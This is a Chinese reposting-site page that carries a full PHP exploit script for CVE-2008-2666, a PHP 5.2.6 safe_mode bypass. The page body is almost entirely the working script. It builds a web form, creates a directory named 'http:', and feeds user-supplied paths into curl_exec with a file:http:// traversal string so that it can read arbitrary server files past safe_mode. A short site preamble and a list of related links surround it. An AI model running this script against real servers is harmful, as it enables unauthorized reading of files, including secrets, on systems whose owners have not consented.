php 5.2.6安全模式旁路攻击

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php 5.2.6安全模式旁路攻击相关的知识,希望对你有一定的参考价值。

  1. <?php
  2. /*
  3. Exploit for CVE-2008-2666:
  4. http://securityreason.com/achievement_securityalert/55
  5.  
  6. Orginal URL
  7. http://securityreason.com/achievement_exploitalert/10
  8.  
  9. safe_mode Bypass PHP 5.2.6
  10. by Maksymilian Arciemowicz http://securityreason.com
  11. cxib [at] securityreason [dot] com
  12.  
  13. How to fix?
  14. Do not use safe_mode as a main safety
  15. */
  16.  
  17. echo "<PRE><P>This is exploit from <a href="http://securityreason.com">http://securityreason.com</a>Maksymilian Arciemowicz<p>Script for legal use only.<p>PHP 5.2.6 safe_mode bypass<p>More: <a href="http://securityreason.com/news/0/0x24">http://securityreason.com/news/0/0x24</a><p><form name="form" action="http://".$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["SCRIPT_NAME"])."" method="post"><input type="text" name="file" size="50" value=""><input type="submit" name="studiaNAuwrCZYpwrTOmanipulacja" value="Show"></form> ";
  18.  
  19. if(!is_dir(dirname(__FILE__)."/http:")){ // can work without this requirement
  20. if(!is_writable(dirname(__FILE__))) die("<b>I can't create http:directory</b>");
  21. mkdir("http:");
  22. }
  23.  
  24. if(empty($file) and empty($_GET['file']) and empty($_POST['file']))
  25. die(" ".$karatonik);
  26.  
  27. if(!empty($_GET['file'])) $file=$_GET['file'];
  28. if(!empty($_POST['file'])) $file=$_POST['file'];
  29.  
  30.  
  31. if((curl_exec(curl_init("file:http://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../".$file))) and !empty($file)) die("<B><br>best regards cxib from securityreason.com</B></FONT>");
  32. elseif(!emptY($file)) die("<FONT COLOR="RED"><CENTER>Sorry... File<B>".htmlspecialchars($file)."</B> doesn't exists or you don't have permissions.</CENTER></FONT>");
  33. ?>

以上是关于php 5.2.6安全模式旁路攻击的主要内容,如果未能解决你的问题,请参考以下文章

linux防火墙

防火墙 之 安全技术和防火墙简要介绍

如何实现php的安全最大化?怎样避免sql注入漏洞和xss跨站脚本攻击漏洞

php安全模式了解

php安全模式

PHP 安全模式替代方案